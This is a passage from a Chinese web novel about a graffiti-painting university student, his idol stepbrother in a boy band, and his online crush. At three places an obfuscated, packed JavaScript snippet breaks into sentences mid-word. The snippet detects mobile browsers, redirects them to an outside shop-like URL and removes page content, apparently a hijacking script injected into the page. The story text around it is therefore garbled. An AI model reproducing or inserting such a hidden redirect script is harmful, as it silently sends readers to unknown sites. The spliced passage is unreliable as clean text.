世界观受到冲击的同时,他还暴露了自己的性向。甄焕倒是完全不介意,三年下来跟他相处融洽。 他不常住寝室,只把课本放自己铺位上。两人大多数时候一起上课,甄焕就顺便帮他带课本来。 娇滴滴的娃娃音是天生的,他眨着眼靠近,“宝~我的宝,待会儿一起去吃午饭吧?饿饿,饭饭。” 应允瘆得不行,直接把饭卡丢给他,“离我远点一切好说。” 他虽然喜欢看帅哥,室友也白净清秀,但他实在对这种娇滴滴还很会撒娇的直男接受不来。 任谁看两人之中都是甄焕更gay。 甄焕捧着他的饭卡做了个飞吻,真是直男骚起来就没他什么事了,“下课一起去嘛。对了,我今天早上路过嘉园路,看见你上次的图被人盖了。” “谁啊?”他声音忽然提高,惹得讲台上老师瞥了一眼,又连忙压低音量不满道,“盖我干什么。” 学校嘉园路那条长长的围墙,向来都是学生们涂鸦的聚集地。他有时候忽然来了灵感也会去玩喷漆,上周画了串logo还挺喜欢,以为能留上十天半个月的,“旁边没有空的地方了?” “啧,那我为什么特意跟你告状呀?”甄焕摘下眼镜,有理有据道,“当然就是因为他明明可以画别的空位,却偏偏要盖你的图。我看到了才觉得奇怪。” “闲的吧。”应允不太高兴,“待会儿下课我去看看。” 涂鸦文化在诞生之初,就带着些街头帮派划分势力地盘的领域色彩,衍生到现在变成了年轻人表达自我的艺术形式之一。自己的作品被故意盖住,多少也像是在挑衅。 应允心里惦记着事儿,上午课程时间过得贼快。本来食堂都懒得去了,可甄焕不好意思自己吃他的,非要他一起去。 最近这娇滴滴的室友正闹经济危机,求包养好几顿了。应允向来对朋友大方体贴,陪着他来食堂,被问到要吃什么时卡壳了好一阵,终于不情不愿道,“糖醋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595676|187431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 排骨吧。” 不是他听话,实在是他一时想不起来要吃什么。 稍后拍照发给时淮,也只是顺便。 应允飞快地解决了午餐。下午没课,甄焕找了个兼职去赚饭钱。他回宿舍拿喷漆,到嘉园路找涂鸦墙。 他上次画的地方在墙面的转角处,不算很起眼的墙沿上,也不是大图,以为不会很快跟别人重合。 但千防万防防不住存心,他路过好几个刷满上下墙沿的大图,还停下来欣赏。唯独到自己这块地方,底下明显还有的是空间,他设计的logo却已经被盖了。显然是故意的。 平心而论,画得不错,就是跟他风格不一样。围墙外有一棵绿叶树,春来发了新枝托在墙沿边,嫩绿色浅浅摇晃。盖他图的人画了一枝春花,枝叶与墙沿探进来的树枝相接,桃花粉白色。明暗交界线里藏色也很巧妙,远远看上去就是传说中的五彩斑斓的白。 涂鸦底下有一个秀气的tag。 -tea。 “审美还可以,快赶上我了。”应允拎着一兜子喷漆自言自语,大方地给予肯定,然后毫不留情地拿黑漆盖掉。 要画什么他还没想好,今天来纯粹是来报仇的。昨天才画过夏老板的工作室,他也懒得想新创意,就来一串大写的“summerwin”,添加阴影细节做出立体感,画了个五彩斑斓的黑。 激情作画十来分钟完工。他欣赏片刻,拍了张照片发给夏赢。 【这售后不错吧】 【免费替你在我们学校宣传了】 夏赢回得很快。 【小允子是有些功夫在身上的】 “……” 这个梗是过不去了。 应允又把照片发给甄焕。 【牛哇牛哇】 【说实话我也欣赏不来小清新,就喜欢这种花里胡哨的东西】 什么叫花里胡哨,这叫对色彩的娴熟运用。 应允又调整角度重新拍了张好看的,发给程识。 【好厉害!!】 【色彩的运用好娴熟】 这就叫心有灵犀! 应允看到合心意的夸奖,站在墙根底下笑得春光似的迷人眼。没等他回复,对面又发来一句。 【你喜欢玩喷绘吗?在你微博里好像也看到过照片】 他已经开始关注我的微博了! 这难道还不算对我有意思吗? 应允心里一阵悸动,原地跟对面聊天聊得停不下来。话怎么说都投机,对面的人在他脑海里笑容温柔得令人心动。 【不过下次再玩,最好还是要戴口罩,不然对身体不好】 【嗯嗯!下次我会注意的】 他好关心我。 他是不是也喜欢我? 这一定就是恋爱的感觉吧。应允捧着手机,心里膨胀的甜蜜独自承受不来,又咔咔一阵截图,把聊天记录发给甄焕一起欣赏。 【[图片][图片]】 【欣赏一下我未来老婆】 【骄傲.jpg】 发完微信他才注意到作品底下忘了打自己的tag。昨天给夏赢工作室定制的商稿没有留,自己玩涂鸦是不能少的。 应允看了眼微信,甄焕的消息正好弹出来。 【你好骚啊[害羞][害羞]】 【人都没见过一面就是你老婆啦?我不信我不信】 【表情包】 直男的小把戏。 就是嫉妒我罢了。 他一只手补了个“-y2”的签名,另一只手潇洒地单手盲打。 【不会吧不会吧,不会还有人没有老婆吧】 【我骚我的,你有什么意见】 他瞥了一眼就发出去,把手机塞进屁兜里,蹲在草地上装好喷漆。等收拾完站起身才又拿出来,心情颇佳想再吹两句骚话。 可他室友收到微信居然没什么动静。反而是他哥发来一句新消息—— 简短有力的一句,都不用点开,列表的消息栏就能看到。 【乖,骚错人了】 5. 第 5 章 午休放饭,时淮就这会儿有空,消息秒读。 化妆间里比平时热闹。August成员之间关系不错,个人行程偶尔也会有其他人过来探班。今天许青蓝恰好在他旁边的录影棚工作,夏赢正好也在明海。三个人刚碰上面。 许青蓝安静地蹲在角落沙发里吃辣条,听见夏赢走进化妆间时才抬头看向门口,“哎队长,下了班聚餐去啊。” 许青蓝接话,“他说想吃糖醋排骨。” 他音量不大,但音色和咬字都很特别,绵软又清亮。时淮在房间另一头,垂眼盯着手机打字,听进耳朵没过脑子,似应非应地嗯了一声。 “这还不简单。” 夏赢进了房间反手锁门,自然地往沙发旁边走,大剌剌地坐下拍了拍大腿,“过来宝贝,怎么还吃呢?嘴角都起皮了。” 许青蓝警惕地握紧了手里吃剩的半包辣条,殷红的唇肉上一层油光,嚼完咽下嘴里的食物才挪去他身边,仰头道,“和辣条没关系。是水分不足。” “那补补水。”夏赢低头亲了他一口,啵的一声响。时淮依旧盯着手机没抬头,已经见怪不怪。 两人的情侣关系在出道之前就已经在团内公开了。许青蓝淡定地舔了舔嘴唇,指着化妆台说,“喝的在那里。” 夏赢起身去给他拿饮料,避开那瓶还未开封的柠檬茶拿了矿泉水,顺带着瞥时淮一眼,“忙着干嘛呢队长,说晚上聚餐呢,去不去?” “不了。”他的目光始终停留在屏幕上,有一句没一句地回,“你们去吃,记我账上。” “不是说想吃糖醋排骨么?” “嗯。” 时淮说,“吃过了。” 爱答不理的。夏赢拿着饮料回沙发上,拧开瓶盖递到一旁,“他怎么了?” 许青蓝伸了个懒腰,捧着矿泉水小口地喝,慢悠悠道,“弟弟成分不足。” 前段时间去欧洲录一档音乐综艺,录了半个多月。有的人连续半个多月都见不到弟弟,只能靠每天的短信和电话缓解焦虑,回国才第二天就又要来工作,是很可怜的。 “哎,”夏赢忽然就懂了,拿出手机嘚瑟,“看看,小允给我画的tag,帅吧。” 这一句才吸引时淮,甚至离开了自己的座位走过来一起看。屏幕上的照片是嘉园路涂鸦墙的一角,“Summerwin”立体加粗,花里胡哨。 许青蓝点头,“帅。” “他今年是不是才大三啊,还得上课的吧。” 夏赢摸着下巴啧啧感叹,“想当年我们当练习生的时候他还在上小学,感觉看他在练习室里睡得流口水还是昨天的事,一转眼都这么大了。” August是由公司通过严格的选拔和培养推出的正规的八人男团,跟选秀三个月组合出来的限时团体不同,在出道之前就经过了相当久的磨合,业务能力过硬。 时淮进公司最晚,也是在当了将近四年的练习生之后才出道的。 团内基本每个人都是全能,各自有偏好和擅长的部分。网上盛传的一句话是“你永远可以相信八月团的任何一个人”,在无数声乐课舞蹈课形象管理课的努力中磨砺出来的舞台能力,加上数年相处才能积累的超越友情胜似亲兄弟的绝妙cp感,八个人性格各异,无论台上台下都是吸粉利器。 性格各异不是说说而已的,大家相处久了,各自的怪癖基本也都了解。时淮异就异在这么大的一个人,弟控程度严重得没眼看,一天联系不上就焦虑到无法正常工作,时刻怀疑他弟弟被坏人惦记或在放学路上惨遭不测生命垂危,宇宙爆炸先从他弟弟脚底下爆。 练习生时期就见识过了。这一年一年的也没见他消停,反而变本加厉。 管他呢。 夏赢炫耀完就专心去陪自己的宝贝。弟控总有兄控去应付,他们这群人还替队长操那个心干嘛。 时淮看过涂鸦,什么也没说,又发了条微信。 【晚上回家住】 对面回得很快,敷衍中带着习以为常。 【哦】 ** 市中心的高层公寓隔三差五才去住一回,应允上大学之前都没住过学校宿舍,除了出去玩时到处留宿,平时放学后回的家是应小蝶上上一任丈夫送给她的离婚礼物,靠近郊区的一栋独栋住宅。 两层楼带院子和车库,他从时淮家搬出来之后就一直自己住在这,平时只有一个阿姨照顾饮食起居。 上大学后回来住的时间也少了,院子里没怎么打理过,草坪都荒着,墙根底下的花和狗尾巴草都快长到膝盖了,搭着墙上的涂鸦倒是有种别样的荒野生机。 墙上的图还是过年时画的,应允进屋之前欣赏了一番。阿姨已经收拾完屋子把晚饭做好,时淮还没回来。他把周六日两天要看的书拎进自己房间,先去洗澡。 他小时候性格也是奇怪。应小蝶和时牧桓离婚后没几天就车祸去世,他都还没搬出当时的家。时牧桓是同意他继续住在那的,但他就是不愿意,把时淮也气得不轻。 那时候他才八岁,宁可一个人住这么大房子半夜上厕所吓得要死,也不想过寄人篱下的日子——虽然还不懂“寄人篱下”是什么意思,但就是那么个想法。无论大人怎么哄怎么劝,他就是不想生活在别人家。 自己一个人住又害怕,时淮就帮他想办法给家里的起居室和他的卧室都装了监控摄像头,能通过手机远程控制,还能对话的那种。 他每天放学回家都一头扎进卧室里,连吃饭都拜托阿姨送过来在卧室里吃。无聊的时候就把摄像头当他哥唠嗑,时淮休息时基本手机不离手,十有八/九能听到,听到了就会回答他。 所以说只有一个阿姨在照顾也不太准确,他常常觉得还跟他哥住在一个家里一样。 小时候觉得很新奇的高科技,现在看这些设备还挺有年代感的。监控装在门框上,能覆盖整个房间,他长得快跟摄像头一般高了,经过门框时抬手就能敲到镜头玻璃。长大以后派不上用场也没有拆除,就一直安在这,变成了奇特的装饰。 洗澡时他脱了衣服随手扔进洗衣机里,心情不错地放了一池温水,丢一颗沐浴球,躺在浴缸里用香喷喷的泡沫在水面上画画。 等到泡澡水变凉,听见时淮进门的声音,他就慢悠悠地出来,到花洒下冲干净身体,换身舒服的睡衣出去一起吃晚饭。 时淮录完节目就直接来他家里,连妆发造型都没卸,正经营业的模样帅得人神共愤。应允习惯性吹了一波彩虹屁,属实是未雨绸缪。 时淮突然把他叫到家里来,说不定没什么好事。不管是什么事彩虹屁先吹着准没错,吹多了也不亏。帅得人神共愤他哥也是个凡夫俗子,喜欢听好听话。 今天的晚饭阿姨正好也做了糖醋排骨,他吃了很多年习惯的口味,私心里觉得比学校做的味道更好,中午才吃过,晚上又啃得很起劲。 时淮问,“学校的排骨不好吃?” “还行,就是糖放多了点。”他筷子忙碌着,顺口道,“不过一天三顿吃排骨我都ok。” 时淮看了他好一阵,愉快地得出结论,“小狗就喜欢啃骨头。” “……” 应允舔了舔嘴角的糖醋汁。在时淮眼里,露出小狗式困惑的表情,“你晚上找我回家不会就为了说这个吧。” “不为了什么。放心吃你的。”时淮抽一张纸巾给他,“今天又给夏赢画画?” “对啊。” “给你工钱了吗?” “没,今天是自愿赠与行为。” 应允安心吃饭,顺便放飞了唠嗑,“夏老板的名字好酷啊,而且 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595677|187431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 写起来特别顺手。我都没打稿子,走到那来感觉了刷刷一顿操作……唉呀,你名字也酷,你名字写着也顺手。” 当着他哥的面夸了别人半天,他忽然反应过来,给自己找补,“我小时候还很想改名字跟你姓来着,是吧。哈哈。” 这里面还是有点故事的。他小时候兄控上瘾,追着时淮讲述美好幻想,还跟应小蝶提过两回要改名,希望大家都叫他时允,最好叫他时子允,这样跟时子虞就更像亲兄弟了,连名字缩写都跟他哥一样。 后来被应小蝶的一句“那你不要妈妈了吗”吓得心脏骤停,就打消了心思再也没提起过。 倒是他在十八岁的时候,收到了一小片陨石碎片,是神通广大的时淮弄来送他的生日礼物。拿陨石送给时允,十年前无稽的幻想他哥居然还记得,狠狠地感动了一把。 那块陨石碎片现在他都还用漂亮的玻璃盒子供起来,放在楼上的储物间里。应允漫无目的地想到他神奇的生日礼物,蓦地一个激灵,丢下筷子拔腿就跑。 连时淮也被他的大动作惊得一愣,“怎么了?” “洗衣机!” 洗衣机里还转着他的生日礼物呢! 上午去学校时随手揣在裤兜里,装了一天都忘记拿出来。他蹲在洗衣机前手忙脚乱地按暂停键,可舱门还是锁着打不开,又连按了好几下关掉电源,扯出湿漉漉的裤子翻裤袋,居然是空的。 “急什么。”时淮微微皱眉,把他从地上拉起来,视线掠过他焦急的神情,眼角都急红了。“泡坏了再给你买新的。” “啧!狮子鱼,”他不耐烦时才这么叫,推开他哥的手又蹲回去继续翻衣服,不满地嚷嚷,“你钱是大风刮来的啊?” 不知道为什么,他对于当明星的看法跟别人不太一样。出名的光环他基本都视若无睹,眼里就只看着他哥起早贪黑挣钱,通宵排练录节目,什么时候笑什么时候接梗都得是精心设计过的,看着就很心酸很可怜。 更别提出名的其他代价,一点个人隐私都没有。时淮的粉丝连他出道前的名字都能扒出来,开始是叫szy,后来又变成狮子鱼,打暗号似的。他偶尔想阴阳怪气以下犯上的时候也跟着叫。 时淮今天被犯了倒也没生气,看他那么着急,只说,“给你买项圈还是绰绰有余的。” 应允充耳不闻,探进一只手在洗衣机里摸来摸去,终于找到那条链子小心地拉了出来。还好,一颗小彩钻也没掉。 时淮接过,顺手把冰凉的银链套进他脖子里,吊坠的长度恰好垂在锁骨正中的小窝下方,“你一直喜欢这种花里胡哨的东西。” 他放心地舒一口气,摸了摸吊坠骄傲地抬眼,“就喜欢怎么啦我乐意。” 他从小就喜欢绚丽明亮的色彩,放在油画里用色也一贯大胆,高饱和高明度的颜料凭感觉就敢往上糊,老师还夸呢,除了观察就是天赋。 平时穿衣服也是花里胡哨的风格,他哥嫌弃得不行,才总指使他去挑自己的衣服穿。那些大牌为了追求高级感基本都用那几种配色,说的好听是经典,说的直接了是太保守,平平无奇没什么意思。 不过也分人。他就算戴花里胡哨的宝石也是清纯男大学生,但他哥,就算穿什么性冷淡风都骚得不行。禁欲气质就是骨子里透出来的,越禁越欲。 应允忽然有些怀念。 上一次看到他哥光屁股的样子,都是在好多年前了。 他神游得太明显。时淮指尖勾住他锁骨上的链子他都没什么反应,略用力扯向自己,“想什么呢?对着哥哥流口水。” “……” 脖颈上忽然一勒,他下意识跟随受力方向,额头差点撞上时淮的鼻尖,慢半拍地吸了吸并不存在的口水,顾左右而言他糊弄过去。 总不能说在想你不穿衣服什么样。 6. 第 6 章 虽然心大,应允自认为还是很有原则的,平时再爱看帅哥都算了,不正经的眼光打到亲哥身上实在不像话。 即使没有血缘关系,但他一直是拿时淮当亲哥看的。有时候这个亲哥的概念里,还混着点当爹又当妈的成分。 对他而言,时淮代表着一整个亲人的集合。 有时淮在,他就不是孤儿了。 “哥,”他摸着冰凉的吊坠忽然问,“你有没有送过别人这么贵的东西当生日礼物啊。” “怎么突然问这个。” “就是一下子想到了。” 时淮眉梢上挑,慢条斯理道,“要是我说给别人也送过呢?” 他一瞬间表情垮掉,嫌弃地皱了皱鼻子,“那烂洗衣机里算逑。” 虽然是这么说了,他却没有要把项链摘下来丢开的意思,明显知道还有下文。 逗一句也就够了,时淮迎着他的期待开口,“我钱又不是大风刮来的。” “哈?” “也就养得起一个。” 话音刚落,眼前出现了一只快乐小狗。 应允摇晃脑袋扒了扒头发,嘿嘿两声,“我找只盒子好好装起来,别再弄丢了。” 快乐小狗跑回房间里收好了项链,才又下楼继续吃饭。 时淮接下去两天都没有行程,空闲的日子基本都会住在他这,可以放松地睡到自然醒。 他哥在圈内其实人缘不错,可一脱离工作就像没朋友似的,只知道宅在家里补觉。跟他完全不一样。他一没课就想着出去玩,半天都闲不下来,自己待着总觉得无聊。 睡觉前,时淮洗漱过照例靠在床头听音乐,还有一些制作人发来的demo,没有专辑计划的时候也在为新歌做准备。 应允跑来跑去,给无偿加班的哥哥捏肩倒水不消停。殷勤得太明显,一点都藏不住心事,“有什么意图直说。” “嘿,我明天想跟同学出去玩儿。”应允反常地矜持道,“借你的车开一天嘛。” 除了画作业和时不时的兼职,他课余生活最大的兴趣就是到处去玩。他没什么远大理想,就对画画还有点兴趣,刚上大学时还苦恼过要不要深造。可想去欧洲留学又嫌法语太难,英语也就是个将将过四级的程度,索性不折腾了,先毕了业再说。 人生嘛就是这样,只要想开了日子就会过得轻松多。时淮对他也没什么要求,继续当个闲散小画家过一辈子也无妨,“开吧。钥匙都在昨天那个抽屉里。” “不是,我是说内个,那台。” 钥匙要是在抽屉里也不用这么特意申请了,他含蓄地追加暗示。时淮明白后想也没想就拒绝,“不准骑。” “哎,你再考虑考虑。”应允强调,“我都二十岁了。” “嗯。”时淮给制作人发微信,头都没抬地重复了一遍,“不准骑。” “……” 四个轮的车是不能用“骑”的,他申请的车是两个轮的大摩托。 拥有一台炫酷的机车是每个男孩长大历程中必经的愿望,他是看August的mv才启蒙的。那年时淮为了专辑拍摄特地买了一台,还考了驾驶证,mv里一身纯黑骑装在路口漂移,摘下头盔看向镜头的眼神帅出天际。他从此就惦记上了,心心念念也想要一台。 可眼巴巴地盼到十八岁,又从十八岁盼到二十岁。驾驶证都考下来了,时淮就是不给买,说太危险了不让他骑。 他的钱一直都被时淮管制着,在做各种稳健的理财投资,也是为了避免那么大一笔钱会被他早早挥霍干净。 他确实花钱大手大脚的,跟朋友出门吃喝玩乐大部分时间都会主动买单,不把钱放在他身上是对的。但直接导致了他平时手里的余额基本不超过四位数,有大额消费都得撒娇讨好金主。 不给买新的就算了,现成的也不让骑。应允沮丧地摊开手脚躺平在床上,不服气道,“那你自己还骑呢。” “我只在工作的时候用过。” “就是说啊!放着落灰多可惜,得车尽其用才对。” 随便他怎么思路百出地辩论,时淮不为所动,“车库里有你开过的,随便挑一辆去。” “哎呀三百多万的车我开不习惯,我骑个三万的小车车就行了。哥你最好了,哥哥哥哥~” 应允脑子里过了个损招,又一个打挺积极地坐起来,凑到他哥身边,靠着从甄焕那儿学来的夹子音放手一搏,“哥哥,哥哥,你的车车借我骑一下,不会生气吧。车车给人家骑一下嘛,咯咯咯咯。” “……” 他夹得还不太熟练,但已经成功恶心得时淮多看了他两眼。 可惜意料之中的还是那句,“不准骑。” “喔。” 应允彻底放弃,又摊平躺了回去,闭着眼睛胡咧咧,“睡觉睡觉。没有大摩托的夜晚这么难熬,我试试能不能梦一个过把瘾。” 时淮瞥了他一眼,左手按掉台灯开关,上翘的嘴角在“嗒”的一声轻响后浸没在无人知晓的黑暗里。 梦里没有大摩托,身边多躺了一个人倒是挺暖和。 隔天应允醒得不算早,是被第二遍闹钟叫醒的。时淮睡得比他还沉,还把他当成大个儿的枕头,长手长脚的压在他身上。 怪不得暖和。 他挣扎着摆脱了缠在身上的薄毯,又得小心翼翼地摆脱时淮的身体压制,坐起身打了个呵欠,下床时顺手帮他摘掉戴了整晚的耳机。 今天体感有点降温,应允去找了件外套穿,顺手拎一件同款不同颜色的扔他哥床上,洗漱完准备出门时又想起了自己求而不得的大摩托,恶从心头起,找了只水彩笔回到卧室。 时淮还没醒,平躺的姿势安详得好像能再睡个一千年。 应允露出不怀好意的笑,找了个方便下手的姿势,想在他脸上写个“小气鬼”报复一下。反正他今天也不用出门。 可看着那么一张帅脸实在是下不去手,笔画太多了也怕把人弄醒。慎重考虑后,应允采取迂回战术,在他手背上画了一只小幽灵,还意犹未尽地添上几笔画成个哭脸,画完后把笔往床头一丢就溜之大吉。 今天的好心情也是哥哥给的呢。 昨天约了几个朋友一起去户外玩喷漆,他习惯性买早餐时往群里问了一句,结果这帮狗东西一个个哀嚎起不来床,甚至还嘲笑他这个勤奋的小画家,群起而鸽之。 幸好群里还有另一个勤奋的小画家在线。关潼积极响应原计划,到约定的街区碰头。 他自己也懒得开车,还得去市中心开,太麻烦。除了在看不惯的人面前故意装逼以外,他平时也不是很爱炫的那种人,带着早餐平平无奇地叫了辆滴滴。 “诶,今天我们穿得好搭。” 关潼看到他,笑眯眯地招手跑过来,大方地提了下裙摆展示,“都是紫色格子~我新买的,好看吧。” 她今天穿了全套jk,薄针织开衫底下是白衬衣和紫色格裙,跟应允身上的白t加格子外套很有些情侣装的氛围。 她满意地点头认证,“不愧是好闺蜜的审美。” “……” 应允很给面子地给她竖了个大拇指助兴,“来吃早餐。” 常来玩的这片是年久的老街,本来已经人迹稀少,墙面被一层层涂鸦覆盖后焕发出新的生命力,现在倒是成了独特的观光街道。 街道两边有许多老房子被改造成艺术仓库,坐落着一些广告公司和创意工作室。最有名的空地上堆着大大小小的集装箱,是明海打卡必来的涂鸦社区。 他没事的时候能在这待一整天。通常上半天用来到处逛逛,看看哪个犄角旮旯有新的创意涂鸦,顺便给自己物色能玩儿的地方。下半天就打个简单的草稿,拿喷漆霍霍一通,好玩之余也很解压。 街口的饮料贩卖机里有冰镇柠檬茶。今天没有晒人的阳光,草坪旁的露天长椅上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595678|187431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他和关潼咬着包子聊天。“我今天还带口罩来了,待会儿给你拿。” 关潼说,“昨天晚上聊微信说要出来玩喷漆,我的乘十老婆提醒我带的~是不是超贴心?” 应允咬着肉包“唔”了一声,有一点不可言说的失落,心想原来他不只提醒了我。 “他说很好奇我们玩的地方什么样,待会儿给他拍个照看看。” 自从面过基就不只是单纯的网友了,分享现实生活的频率更高。关潼望着手机叹气,“我总觉得他也想出来玩的,可是他总是顾虑好多。” 应允咽下一口包子,“他不是还在照顾小孩子吗?出门确实不方便。” “不单是因为那个。” 关潼思量片刻,“我觉得他有点缺乏自信,就是明明能干的很好可总觉得自己不行……他那种神仙画画的水平还嫌弃自己拉胯你知道吗,好家伙让我们这群凡人怎么活。” 神仙怎么可以缺乏自信。应允灌了一大口柠檬茶压惊,“这活儿我熟,包我身上。” 得益于时淮的从小培养,他随时可以切换成人形彩虹屁输出机器,提升自信就得靠夸。 “我也觉得。”关潼露出了然的笑容,“所以才会觉得你们俩可能会来电的嘛。” “唉。”应允今天没有盲目膨胀,反而惆怅道,“说实话我真不擅长网恋。影响我发挥。” 网上只能聊天,还容易信息错位。他要是喜欢谁,手里有什么好东西都想立刻捧到他面前,想去什么地方玩都想跟他一起,总之得是见了面才能展开攻势的。 其实他也可以翘课去茂华找程识玩,但是怕自己太热情吓到人家,反而给程识造成心理负担。 “不急,来日方长。”关潼吃完最后一口奶黄包,拿湿巾擦了擦手,“我今天一点思路都没有,先去逛一圈看看别人的,想想画什么。” “喔。”应允两口吞完包子又拿起一条炸到酥软的大.麻花,咬一口里头是里头流心的酸奶馅儿。 正在化惆怅为饭量的时候,时淮睡醒发了微信过来。 【[图片]】 【?】 他对着手背上的哭脸小幽灵拍了张照片。 应允笑得噎了一口,拿柠檬茶顺下去,一只手拍着胸口,另一只手噼里啪啦地打字。 【天呐,这是什么精彩的涂鸦杰作】 【吃饭的时候不能看这样的作品,这扑面而来的天赋气息,容易让人消化不良】 时淮回了他一句。 【自己夸自己也算吗】 【怎么不算呢[害羞][害羞]】 脸皮厚可真快乐啊。 应允咬着酸奶麻花快乐地想。 时淮没再回他,应该是去洗手了。但那支笔用水是洗不掉的,怎么也能留个两三天。幸运的话,August其他人也有可能看到他们成熟稳重的队长大人手背上多了只哭脸小幽灵。 理论上说时淮不会为这种小事不高兴。但为了以防万一——毕竟明天还要在同一屋檐下宅家,闲出屁来了想揍弟弟一顿打发时间也有可能。他吃完早饭后开始酝酿免于挨揍的找补大法。 打草稿很快,构图是昨天晚上睡觉前就在脑子里转过的。他找了个挨着水池的墙角,戴上口罩把前人的图盖干净,开始画自己的。 虽然时淮没有直说,但他怎么能想不到,看到他给夏赢画的赠图肯定眼热。讨他哥欢心的事儿他可没少干,这种小场面还不是信手拈来。 他画了一条狮子鱼,从调色盘里游出来,背上有鲜艳的毒棘,带着一身炫彩斑斓的羽鳍和触须,游到墙角呼应水池的方向。 图不大,再喷些多变的细节也不到两个小时。画完后成就感满满,打个tag拍下完整的作品,又蹲在墙角跟这条炫彩狮子鱼合了个影,一起发给时淮。 【[图片][图片]】 【虽然你不让我骑大摩托,但我还是爱你的[比心]】 7. 第 7 章 时淮发了两个ok的手势过来,回复得相当官方,想来是被他表白过太多次人都已经看麻了。 应允浅浅欣赏了一下自己的自拍,正准备去找关潼,小姑娘也发了张照片过来。 【这个挺不错的诶】 关潼没他那么自恋,照片里没有自拍只有整面墙的涂鸦。看得出是相当费功夫的大图,画了野花遍地的旷野和远山,跟墙根底下的木栅栏衔接的十分自然,离得远些看效果逼真,像能直接走进去。 色彩清新画风十分眼熟。应允眯了下眼,放大图片看过后回复关潼走近一些墙根下拍张局部照。 这下就能看清楚了,藏在草丛里那个灰绿色的tea,和学校里嘉园路涂鸦墙上盖他图的那个tea是同一个人。 应允算是记在心里了,“可以啊这小绿茶,跟我这么有缘分。” 总觉得这缘分不会简简单单地结束在今天。后天回去上课,经过嘉园路他还要再去看一眼。 这天出门没有玩到很晚,下午回家之前,他跟关潼拍了张合影,连同作品,还有路边随手拍到的景色照片一起凑了个九宫格发朋友圈。 配文,油漆工今日营业实况。 发出去第一分钟,时淮给他点了个赞。 应允看见了就顺手把语音拨过去,“你要吃什么?我马上回家了,顺路给你带回去。” “炸鸡。” “双拼?” “老样子。” “等着吧。”他效率很高地结束了对话,出租车刚好开到身边,开门上车报地址,先去离家最近的炸鸡店。 时淮休息的时候哪里都懒得去,就在家里看书听音乐点炸鸡,在外面好歹也是个大明星,不用营业就活得像个宅男。 这个区的炸鸡店都已经被点了个遍。他是尝不出哪家店好吃的,只要是刚炸出来的趁热吃感觉都差不多。基本把店都试一遍之后时淮最喜欢的刚好是离得最近的,从此就固定只点那一家了。 刚发的朋友圈收到了许多评论和点赞,应允大致扫了一眼,评论里还有人在问是不是跟女朋友出去约会,什么时候好上的也不单独发一条朋友圈官宣。 底下还有两三个人在附和起哄,不是什么很熟的朋友,连关潼都不认识,他也懒得回,倒是因此又多看了眼合照。今天两个人碰巧穿的衣服跟约好了似的,确实挺像情侣装。 没过多大一会儿,关潼同样发了九宫格朋友圈,也带着这张照片。估计也有人问同样的问题,她在自己朋友圈底下回复解释了。 应允混进评论里开了两句玩笑。眼看炸鸡店快到了,他的注意力被转移,也顺势就把这事抛在脑后了,没放在心上。 打包好炸鸡,回去投喂他哥才是正经事。 ** 应允回到家时,下午的阳光还很充足。客厅里亮堂堂的,空气里飘着熟悉的甜香味。 他拎着炸鸡直接去厨房找人。 时淮穿着他出门前顺手扔床上的那件绿格子外套,以一个慵懒又自然的姿势靠在岛台边翻食谱,微曲的长腿相当瞩目。 “您点的外卖已送达~” 应允吹了声口哨。时淮抬眼的瞬间,烤箱悦耳地发出叮的一声响。黄油小饼干新鲜出炉。 “上周我的牙医还说我又多了一颗龋齿。”他放下炸鸡,看着时淮戴上厚厚的防烫手套把小饼干们端出来,理直气壮地怪罪,“肯定就因为你把我喂成这样的。我平时都不吃糖。” 时淮不置可否,看着他转身去打开冰箱,才慢条斯理道,“你知道一瓶柠檬茶里含多少糖吗?” “……” 应允手握饮料,老老实实地说,“我不想知道。” 时淮起床晚,这顿炸鸡算是午饭。他还不饿就没怎么吃,把刚出炉的小饼干当零食,跑到自己房间去拿了书,坐在沙发上边吃边看。 偶尔也想在哥哥面前表演一下努力学习的上进心。 时淮看着他咔咔嚼了半盘饼干书都没翻过两页,心里一声叹息,出声安慰,“乖,你已经考上大学了,可以放过自己了。” “……” 应允沉默片刻,脑子里飘过自己高中时学习学到流鼻血,在医院的病床上喊着“我好没本事”埋在哥哥胸前失声痛哭的往昔画面,冷静地合上了书。 “打不打游戏。” 时淮衔接默契地把游戏手柄丢进他怀里,“开。” 短暂的努力之后,宅家内容又恢复到常态。就像那颗龋齿,应允习惯性把锅甩到他哥身上,拐弯抹角地想虽然没有好好学习,但打游戏是用来联系亲情的,也不算荒废。 很遗憾,在游戏里他也打不过时淮。对1v1彻底失去信念感后,他更喜欢跟时淮一起打双人解密或者逃生游戏。遇到难度高的关卡或者奇怪凶残的怪物,跟在时淮身边就能妥妥被带飞。 